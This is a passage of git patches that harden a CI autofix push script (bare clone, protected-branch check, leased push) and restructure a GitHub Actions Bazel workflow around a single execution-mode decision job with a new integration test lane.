[ -z "$PR_NUMBER" ]; then - echo "No open PR for $HEAD_REPO:$HEAD_BRANCH; nothing to do." - exit 0 -fi +PR_MATCH="$(printf '%s' "$PULLS_JSON" | jq -r -s --arg repo "$HEAD_REPO" --arg branch "$HEAD_BRANCH" --arg base "$BASE_REPO" \ + 'add | [ .[] | select(.head.ref == $branch and (.head.repo.full_name // "") == $repo + and (.base.repo.full_name // "") == $base) ] + | if length == 1 then .[0] | "\(.number)\t\(.head.sha)" else "\(length)" end')" +case "$PR_MATCH" in + 0) + echo "No open PR for $HEAD_REPO:$HEAD_BRANCH into $BASE_REPO; nothing to do." + exit 0 + ;; + *$'\t'*) IFS=$'\t' read -r PR_NUMBER PR_HEAD_NOW <<<"$PR_MATCH" ;; + *) + echo "$PR_MATCH open PRs use $HEAD_REPO:$HEAD_BRANCH; not guessing which one this patch is for." + exit 0 + ;; +esac if [ "$PR_HEAD_NOW" != "$HEAD_SHA" ]; then echo "PR #$PR_NUMBER head moved ($HEAD_SHA -> $PR_HEAD_NOW); a newer run owns the fix." exit 0 fi -# Circuit breaker: if the failing head is already one of our autofix commits, -# regeneration is not converging (or something keeps dirtying the docs) - -# stacking more bot commits would loop. Fail safe to the recipe comment. -HEAD_MSG="$(gh api "repos/$BASE_REPO/commits/$HEAD_SHA" --jq '.commit.message' 2>/dev/null || true)" -case "$HEAD_MSG" in - "$AUTOFIX_SUBJECT"*) - echo "Head $HEAD_SHA is already an autofix commit; refusing to stack another." - NONCONVERGENT=1 - ;; - *) NONCONVERGENT=0 ;; -esac - +# post_or_update_comment BODY_FILE: edit our own marker comment, else post. +# Shared verbatim with bazel-autofix-push.sh. post_or_update_comment() { local body_file="$1" # Capture fully before taking the first id: head -1 on a live --paginate # stream SIGPIPEs gh under pipefail. local ids existing ids="$(gh api --paginate "repos/$BASE_REPO/issues/$PR_NUMBER/comments" \ - --jq ".[] | select(.body | startswith(\"$COMMENT_MARKER\")) | .id")" + --jq ".[] | select(.user.login == \"$COMMENT_AUTHOR\" and (.body | startswith(\"$COMMENT_MARKER\"))) | .id")" existing="$(printf '%s\n' "$ids" | head -1)" if [ -n "$existing" ]; then gh api --method PATCH "repos/$BASE_REPO/issues/comments/$existing" \ @@ -138,6 +240,22 @@ post_or_update_comment() { fi } +# head_branch_protected: true unless GitHub itself says HEAD_BRANCH has no +# branch protection and no ruleset; an API error counts as protected. The name +# list is a floor, not the check. Shared verbatim with bazel-autofix-push.sh. +head_branch_protected() { + local enc protected rules + case "$HEAD_BRANCH" in + main | release/* | gh-readonly-queue/*) return 0 ;; + esac + enc="$(jq -rn --arg b "$HEAD_BRANCH" '$b | @uri')" + protected="$(gh api "repos/$BASE_REPO/branches/$enc" --jq '.protected' 2>/dev/null)" || return 0 + [ "$protected" = "false" ] || return 0 + rules="$(gh api "repos/$BASE_REPO/rules/branches/$enc" --jq 'length' 2>/dev/null)" || return 0 + [ "$rules" = "0" ] || return 0 + return 1 +} + comment_fallback() { local reason="$1" local body @@ -163,11 +281,6 @@ EOF rm -f "$body" } -if [ "$NONCONVERGENT" = "1" ]; then - comment_fallback "an earlier auto-fix did not converge - please regenerate manually" - exit 0 -fi - # --- Fork PRs: no token we hold can push there, leave the recipe -------------- if [ "$HEAD_REPO" != "$BASE_REPO" ]; then @@ -175,6 +288,13 @@ if [ "$HEAD_REPO" != "$BASE_REPO" ]; then exit 0 fi +# Never push to a protected branch or one under a ruleset, even if a PR uses +# it as head: the push token may be able to bypass what the author cannot. +if head_branch_protected; then + comment_fallback "the head branch $HEAD_BRANCH is protected from bot pushes" + exit 0 +fi + # --- Same-repo PRs: push the regen commit ------------------------------------- # Keep the token out of on-disk .git/config: pass the auth header per command. @@ -183,37 +303,70 @@ AUTH_CONFIG="http.https://github.com/.extraheader=AUTHORIZATION: basic $(printf WORK="$(mktemp -d)" trap 'rm -rf "$WORK"' EXIT +# Bare clone and a private index: the PR tree is never checked out, so no +# symlink, .gitattributes or hook from it touches the disk. +export GIT_INDEX_FILE="$WORK/index" -git -c "$AUTH_CONFIG" clone --quiet --no-checkout --filter=blob:none \ - "https://github.com/${BASE_REPO}.git" "$WORK/repo" -cd "$WORK/repo" -git -c "$AUTH_CONFIG" fetch --quiet origin "$HEAD_BRANCH" -git checkout --quiet "$HEAD_SHA" 2>/dev/null || { +# Only the head branch, blobs on demand: other branches' history never +# reaches the runner. +git_ init --quiet --bare "$WORK/repo.git" +cd "$WORK/repo.git" +git_ remote add origin "https://github.com/${BASE_REPO}.git" +git_ config remote.origin.promisor true +git_ config remote.origin.partialclonefilter blob:none +git_ -c "$AUTH_CONFIG" fetch --quiet --no-tags --filter=blob:none origin \ + "+refs/heads/$HEAD_BRANCH:refs/autofix/head" +if ! git_ cat-file -e "$HEAD_SHA^{commit}" 2>/dev/null; then echo "Head $HEAD_SHA no longer reachable on $BASE_REPO/$HEAD_BRANCH; skipping." exit 0 -} +fi -if ! git apply --index "$PATCH_FILE" 2>/dev/null; then - cd - >/dev/null +git_ read-tree "$HEAD_SHA" +if ! git_ -c "$AUTH_CONFIG" apply --cached "$PATCH_FILE" 2>/dev/null; then + cd / comment_fallback "the regeneration patch no longer applies cleanly" exit 0 fi -git -c user.name="github-actions[bot]" \ - -c user.email="41898282+github-actions[bot]@users.noreply.github.com" \ - commit --quiet -m "$AUTOFIX_SUBJECT +# Belt and braces: what actually got staged must pass the same rules. +check_staged "$HEAD_SHA" +if [ "${#STAGED_PATHS[@]}" -eq 0 ]; then + echo "Patch changes nothing on $HEAD_SHA; nothing to push." + exit 0 +fi + +# Circuit breaker, once the fix is known to be non-empty: if the failing head +# is already one of our autofix commits, regeneration is not converging (or +# something keeps dirtying the docs) - stacking more bot commits would loop. +# Read from the fetched commit (no API); failing to read it counts as +# non-convergent. +if ! HEAD_SUBJECT="$(git_ log -1 --format=%s "$HEAD_SHA")" || [[ "$HEAD_SUBJECT" == "$AUTOFIX_SUBJECT"* ]]; then + echo "Head $HEAD_SHA is (or may be) an autofix commit; refusing to stack another." + cd / && comment_fallback "the previous auto-regeneration commit left the docs stale - please regenerate manually" + exit 0 +fi + +TREE="$(git_ write-tree)" +NEW_SHA="$(GIT_AUTHOR_NAME="github-actions[bot]" GIT_COMMITTER_NAME="github-actions[bot]" \ + GIT_AUTHOR_EMAIL="41898282+github-actions[bot]@users.noreply.github.com" \ + GIT_COMMITTER_EMAIL="41898282+github-actions[bot]@users.noreply.github.com" \ + git_ commit-tree "$TREE" -p "$HEAD_SHA" -m "$AUTOFIX_SUBJECT Applied from the cli-docs-freshness-patch artifact of $RUN_URL (generated with CI's canonical pinned build). See -scripts/check-cli-docs-drift.sh for how drift is attributed." +scripts/check-cli-docs-drift.sh for how drift is attributed.")" -if ! git -c "$AUTH_CONFIG" push --quiet origin "HEAD:refs/heads/$HEAD_BRANCH"; then - cd - >/dev/null +# Leased to HEAD_SHA: if the branch moved at all since the run (including a +# force-push back to an ancestor), the push is refused rather than resurrecting +# commits the author dropped. +if ! git_ -c "$AUTH_CONFIG" push --quiet \ + "--force-with-lease=refs/heads/$HEAD_BRANCH:$HEAD_SHA" \ + origin "$NEW_SHA:refs/heads/$HEAD_BRANCH"; then + cd / comment_fallback "pushing the fix to $HEAD_BRANCH failed (branch protection or a concurrent push)" exit 0 fi -NEW_SHA="$(git rev-parse HEAD)" -cd - >/dev/null +cd / echo "Pushed regen commit $NEW_SHA to $BASE_REPO/$HEAD_BRANCH." From 9cb22b790cb1a7cb1a9af0abc3ec87a1ad1fed2b Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 28 Sep 2026 19:05:41 -0700 Subject: [PATCH 198/624] ci(bazel): decide RBE mode once (fixes Dependabot runs); add advisory integration lane (#6930) * ci(bazel): decide the RBE execution mode once, in an rbe job Dependabot PRs are same-repo (fork=false) but receive no Actions secrets, so the per-job vars/fork conditions sent them down the remote path with no executor: every lane ran locally on the 2-vCPU Blacksmith runner and the remote-only embedded tier timed out (review D1 F1). The conditions were also repeated in every job and re-read at different times (F5/F6). A new first job, rbe, decides the mode from four booleans (the RBE_WEST_WORKERS var, rbe input, fork, and whether RBE_WEST_EXECUTOR is non-empty) and outputs mode=remote|local|skip plus enabled. Every lane needs it and takes runs-on, if and the setup-bazel env from its outputs alone; remote-only bazel-embedded skips unless remote, local-capable lanes run on ubuntu-latest for forks, rbe=off and secret-less runs. Same-repo runs still skip while the var is unset. The outputs are also workflow_call outputs (rbe-enabled, rbe-mode) for a future gate. Policy tests: every lane needs rbe and uses the pinned expressions; no value outside the decision step mentions the var, inputs.rbe or fork; the one extra secret reference is pinned to the emptiness test in the decision step's env; and the step script is run for same-repo, push, Dependabot, fork, rbe=off, var-unset and mixed-case scenarios. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): add the advisory bazel-integration job Runs `bazel test //... --config=integration` (#6916, main.yml's integration jobs) as its own job in bazel.yml: remote-only like bazel-embedded (skipped unless the rbe job chose remote), 30-minute test step inside a 40-minute job, BEP plus check_testcases.py, test logs on failure. A separate job keeps ci's and integration's shared bazel-testlogs apart (review-integration F3). No equivalence step: equivalence.py's default mode is the --config=ci selection, and its job mode needs the integration jobs' go test -json, which no run here has. check_testcases.py gains --not-go LABEL for a tested non-Go target (//tools/bazel:dolt_version_test, a plain sh_test the integration tag filter keeps); an exemption for a target the BEP does not list fails. Policy test pins the job's command (no extra filter, selector or remote config), the count step, the log upload, its remote-only if, and that no other job runs --config=integration (nor this one --config=ci or equivalence.py); the .bazelrc tag filter stays pinned by checkBazelrcIntegrationLane. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel.yml | 241 +++++++++++++++++++++++------- scripts/ci_workflow_test.go | 261 ++++++++++++++++++++++++++++++--- tools/bazel/check_testcases.py | 20 ++- 3 files changed, 444 insertions(+), 78 deletions(-) diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 6ea2095b6..28c7466e6 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1,18 +1,28 @@ # Bazel side-by-side lane (advisory). Runs `bazel test //... --config=ci`, the # PR Core-parity selection (race, -short, dolt skip, -requires-docker), on the # same commit as pr.yml's go test lanes, plus one job per mirrored CI job -# (pure-Go/js-wasm, docker lane, pr-risk.yml's embedded-Dolt tier). It is NOT +# (pure-Go/js-wasm, docker lane, pr-risk.yml's embedded-Dolt tier, main.yml's +# integration jobs). It is NOT # in ci-gate's CI_GATE_REQUIRED; promotion needs the equivalence record # described in tools/bazel/equivalence.py and a human decision. # -# Execution mode, passed to .github/actions/setup-bazel: -# repo variable RBE_WEST_WORKERS=true plus secrets RBE_WEST_EXECUTOR (grpcs:// -# endpoint), RBE_TLS_CERT, RBE_TLS_KEY (base64; RBE_TLS_CA optional): -# remote execution on rbe-west, instance "oss" (shared with gascity). -# fork PRs and rbe=off dispatches: local execution, slower but the same -# results, for every job but bazel-embedded, which runs remotely only. -# Same-repo runs are skipped while RBE_WEST_WORKERS is unset. -# workflow_dispatch with rbe=off simulates a fork run. +# Execution mode, decided once by the rbe job (every other job needs it and +# reads its outputs; none re-derives the condition) and passed to +# .github/actions/setup-bazel: +# remote: repo variable RBE_WEST_WORKERS=true, rbe not off, not a fork PR, +# and the secret RBE_WEST_EXECUTOR (grpcs:// endpoint) present, plus +# RBE_TLS_CERT, RBE_TLS_KEY (base64; RBE_TLS_CA optional): remote +# execution on rbe-west, instance "oss" (shared with gascity), from the +# Blacksmith runner. +# local: fork PRs, rbe=off dispatches, and same-repo runs without the +# secret (Dependabot PRs: same-repo, but no Actions secrets): local +# execution on ubuntu-latest, slower but the same results, for every job +# but the remote-only ones (bazel-embedded, bazel-integration), which +# are skipped. +# skip: same-repo runs while RBE_WEST_WORKERS is unset (the farm switch). +# workflow_dispatch with rbe=off simulates a fork run. The decision is also a +# workflow_call output, so a caller's gate can tell an expected skip from a +# missing lane. # # Accepted risk (same model as gascity's bazel-test.yml): on push, merge_group # and same-repo pull_request runs, code from the PR head runs with the RBE @@ -22,8 +32,10 @@ # branch here can therefore use or copy the certificate and write to the # farm's cache. Fork PRs never get it: pull_request from a fork receives no # secrets, this workflow has no pull_request_target trigger, and forks cannot -# write the runner cache. In place: secrets are referenced by the setup step -# alone and never by a workflow- or job-level env (policy-tested), decoded key +# write the runner cache. Nor do Dependabot PRs, which run as same-repo but +# get no Actions secrets. In place: secrets are referenced by the setup step +# alone (plus the rbe job's emptiness test of RBE_WEST_EXECUTOR, which yields +# a boolean) and never by a workflow- or job-level env (policy-tested), decoded key # material is masked in logs, and CI uploads only remotely executed results # (--noremote_upload_local_results in .bazelrc's remote-exec config and in # the generated rc), and the certificate @@ -85,6 +97,13 @@ on: type: string required: false default: "" + outputs: + rbe-enabled: + description: "'true' when the lanes executed remotely on rbe-west, else 'false'" + value: ${{ jobs.rbe.outputs.enabled }} + rbe-mode: + description: "remote, local (no remote-only jobs) or skip (no jobs): the rbe job's decision" + value: ${{ jobs.rbe.outputs.mode }} # Main runs always finish (they may save the runner cache); PR runs supersede. concurrency: @@ -101,20 +120,63 @@ env: BAZEL_BUDGET_SECONDS: "420" jobs: + # The one place the execution mode is decided (see the header), so every + # job sees the same answer for the whole run. Its step reads one secret, and + # only to test it for emptiness: the step's env holds a boolean, never the + # value, and the step runs no repository code (no checkout). Dependabot + # runs read vars but get no secrets, so they come out local, not remote. + rbe: + name: Bazel / execution mode + runs-on: ubuntu-latest + timeout-minutes: 5 + outputs: + enabled: ${{ steps.decide.outputs.enabled }} + mode: ${{ steps.decide.outputs.mode }} + steps: + # The expressions' == is case-insensitive (RBE_WEST_WORKERS=True counts). + # A push, merge_group or dispatch has no pull_request, so FORK is false. + - name: Decide remote execution + id: decide + env: + RBE_VAR_ON: ${{ vars.RBE_WEST_WORKERS == 'true' }} + RBE_INPUT_OFF: ${{ inputs.rbe == 'off' }} + FORK: ${{ github.event.pull_request.head.repo.fork == true }} + HAS_EXECUTOR: ${{ secrets.RBE_WEST_EXECUTOR != '' }} + run: | + for v in RBE_VAR_ON RBE_INPUT_OFF FORK HAS_EXECUTOR; do + case "${!v}" in + true|false) ;; + *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; + esac + done + if [ "$RBE_INPUT_OFF" = true ] || [ "$FORK" = true ]; then + mode=local + elif [ "$RBE_VAR_ON" != true ]; then + mode=skip + elif [ "$HAS_EXECUTOR" = true ]; then + mode=remote + else + mode=local + fi + enabled=false + if [ "$mode" = remote ]; then enabled=true; fi + echo "mode=$mode" >> "$GITHUB_OUTPUT" + echo "enabled=$enabled" >> "$GITHUB_OUTPUT" + echo "Bazel execution mode: **$mode** (RBE_WEST_WORKERS on: $RBE_VAR_ON, rbe=off: $RBE_INPUT_OFF, fork: $FORK, executor secret: $HAS_EXECUTOR)" | tee -a "$GITHUB_STEP_SUMMARY" + bazel-test: name: Bazel / test (advisory) # Remote-execution runs use the org's Blacksmith pool (the farm's edge # admits it; GitHub-hosted runners are refused) and do not count against - # GitHub's concurrent-job cap. Fork PRs and rbe=off have no remote - # executor and build everything locally, so they get the larger - # GitHub-hosted runner. - runs-on: ${{ (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + # GitHub's concurrent-job cap. Local runs (forks, rbe=off, no secrets) + # build everything on the runner, so they get the larger GitHub-hosted + # one. + needs: rbe + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} # Remote execution goes to rbe-west (instance "oss", the Blacksmith-backed - # worker pool shared with gascity), switched on by the repo variable - # RBE_WEST_WORKERS. Until it is set, only fork PRs and rbe=off dispatches - # run (locally); same-repo runs are skipped rather than failing on an - # unreachable executor. - if: ${{ vars.RBE_WEST_WORKERS == 'true' || inputs.rbe == 'off' || github.event.pull_request.head.repo.fork == true }} + # worker pool shared with gascity). Skipped only in mode skip (same-repo + # runs while RBE_WEST_WORKERS is unset). + if: ${{ needs.rbe.outputs.mode != 'skip' }} timeout-minutes: 100 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -140,11 +202,11 @@ jobs: id: bazel uses: ./.github/actions/setup-bazel env: - BAZEL_REMOTE_EXECUTOR: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} - RBE_TLS_CERT: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CERT || '' }} - RBE_TLS_KEY: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_KEY || '' }} - RBE_TLS_CA: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CA || '' }} - RBE_INSTANCE: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && 'oss' || '' }} + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} # T1: remote + restored repository cache; T2: remote, cold runner; local: # no remote execution (reported, never budgeted). @@ -312,9 +374,10 @@ jobs: # exact pass-count guard. bazel-pure: name: Bazel / pure-Go and js/wasm (advisory) - # Same runner, rbe-west gate and skip rule as bazel-test. - runs-on: ${{ (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - if: ${{ vars.RBE_WEST_WORKERS == 'true' || inputs.rbe == 'off' || github.event.pull_request.head.repo.fork == true }} + # Same runner and skip rule as bazel-test. + needs: rbe + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.mode != 'skip' }} timeout-minutes: 90 env: PURE_CMD_BD_TESTS: '^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)' @@ -338,11 +401,11 @@ jobs: id: bazel uses: ./.github/actions/setup-bazel env: - BAZEL_REMOTE_EXECUTOR: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} - RBE_TLS_CERT: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CERT || '' }} - RBE_TLS_KEY: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_KEY || '' }} - RBE_TLS_CA: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CA || '' }} - RBE_INSTANCE: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && 'oss' || '' }} + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} - name: Run js/wasm hook boundary run: | @@ -434,14 +497,16 @@ jobs: # does not (same race configuration, shared through the remote cache). bazel-embedded: name: Bazel / embedded Dolt tier (advisory) - # Remote execution only: unlike the other jobs, no fork PR or rbe=off - # run. Locally the tier is 27 race test processes (~7-10k test-seconds) - # on one GitHub-hosted runner, an hour or more per run on the pool whose - # job cap this track exists to relieve, and it proves nothing pr-risk.yml's - # embedded jobs (which do run for forks) do not. The runs-on expression is - # the shared one and always picks the Blacksmith runner under this if. - runs-on: ${{ (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - if: ${{ vars.RBE_WEST_WORKERS == 'true' && (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true }} + # Remote execution only: skipped unless the rbe job chose remote (no + # fork, rbe=off or secret-less run). Locally the tier is 27 race test + # processes (~7-10k test-seconds) on one runner, an hour or more per run + # on the pool whose job cap this track exists to relieve, and it proves + # nothing pr-risk.yml's embedded jobs (which do run for forks) do not. + # The runs-on expression is the shared one and always picks the + # Blacksmith runner under this if. + needs: rbe + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.enabled == 'true' }} timeout-minutes: 60 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -450,11 +515,11 @@ jobs: id: bazel uses: ./.github/actions/setup-bazel env: - BAZEL_REMOTE_EXECUTOR: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} - RBE_TLS_CERT: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CERT || '' }} - RBE_TLS_KEY: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_KEY || '' }} - RBE_TLS_CA: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CA || '' }} - RBE_INSTANCE: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && 'oss' || '' }} + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} # --build_event_json_file is a command option, so it goes after `test`. - name: bazel test //... --config=embedded @@ -488,6 +553,73 @@ jobs: if-no-files-found: ignore retention-days: 7 + # main.yml's "Main Linux integration packages (N/6)" and "Main Linux + # integration cmd/bd (N/8)" jobs (nightly.yml's Full Test Suite runs the + # same go test in one job) as --config=integration: every package with + # -tags=integration,gms_pure_go, race, no -short, BEADS_TEST_SKIP=dolt (see + # .bazelrc). A job of its own: ci and integration share bazel-testlogs, so + # bazel-test's equivalence step would read this lane's test.xml if both ran + # in one job, and the tagged race build is a second full compile. + # No equivalence step: equivalence.py's default mode is the --config=ci + # selection (go list without the integration tag, -short, ^TestEmbedded + # skipped), and its job mode needs the integration jobs' go test -json, + # which no run here has. check_testcases.py still catches a target or + # shard that ran no tests. + bazel-integration: + name: Bazel / integration (advisory) + # Remote execution only, like bazel-embedded: locally the tagged race + # build of //... plus 14 jobs' worth of tests on one runner is well over + # the timeout, for tests main.yml's integration jobs already run. + needs: rbe + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.enabled == 'true' }} + timeout-minutes: 40 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + - name: Set up Bazel + id: bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + + # Remote: a cold compile plus the longest test action (1200s cap, see + # .bazelrc) fits well inside 30 minutes. + - name: bazel test //... --config=integration + id: test + timeout-minutes: 30 + run: | + set -o pipefail + start=$(date +%s) + rc=0 + bazel test //... --config=integration \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test --config=integration: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + exit "$rc" + + # As in bazel-embedded. dolt_version_test is a plain sh_test (no Go + # testcases in its test.xml), which --config=integration's tag filter + # keeps, unlike the embedded one. + - name: Every target and shard ran tests + if: ${{ always() && steps.test.outcome != 'skipped' }} + run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" --not-go //tools/bazel:dolt_version_test + + - name: Upload test logs + if: ${{ failure() && steps.test.outcome != 'skipped' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: bazel-integration-testlogs + path: | + bazel-testlogs/**/test.log + bazel-testlogs/**/test.xml + if-no-files-found: ignore + retention-days: 7 + # pr.yml's container-backed jobs, "Test (storage domain + uow)" and # "Contract corpus", as Bazel's dolt-server lane: --config=doltserver runs # the dolt-server variants (domain/..., uow in 8 shards, tracker/..., @@ -498,9 +630,10 @@ jobs: # no-remote-exec) stays the A/B control: dispatch with dolt-lane=docker. bazel-doltserver: name: Bazel / dolt-server lane (advisory) - # Same runner, rbe-west gate and skip rule as bazel-test. - runs-on: ${{ (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - if: ${{ vars.RBE_WEST_WORKERS == 'true' || inputs.rbe == 'off' || github.event.pull_request.head.repo.fork == true }} + # Same runner and skip rule as bazel-test. + needs: rbe + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.mode != 'skip' }} timeout-minutes: 90 env: BAZEL_DOLT_LANE: ${{ inputs.dolt-lane || 'doltserver' }} @@ -511,11 +644,11 @@ jobs: id: bazel uses: ./.github/actions/setup-bazel env: - BAZEL_REMOTE_EXECUTOR: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} - RBE_TLS_CERT: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CERT || '' }} - RBE_TLS_KEY: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_KEY || '' }} - RBE_TLS_CA: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CA || '' }} - RBE_INSTANCE: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && 'oss' || '' }} + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} # Docker lane only (the A/B control), as in the mirrored jobs; its # tests fail rather than skip without the image. diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index bff086491..16ba9d577 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1212,6 +1212,7 @@ type ciWorkflowJob struct { TimeoutMinutes int `yaml:"timeout-minutes"` Strategy ciWorkflowStrategy `yaml:"strategy"` Env map[string]string `yaml:"env"` + Outputs map[string]string `yaml:"outputs"` } type ciWorkflowStrategy struct { @@ -1468,6 +1469,8 @@ const ( bazelPureJobName = "bazel-pure" bazelDoltJobName = "bazel-doltserver" bazelEmbedJobName = "bazel-embedded" + bazelRBEJobName = "rbe" + bazelIntegJobName = "bazel-integration" setupBazelActionDir = ".github/actions/setup-bazel" uploadArtifactSHA = 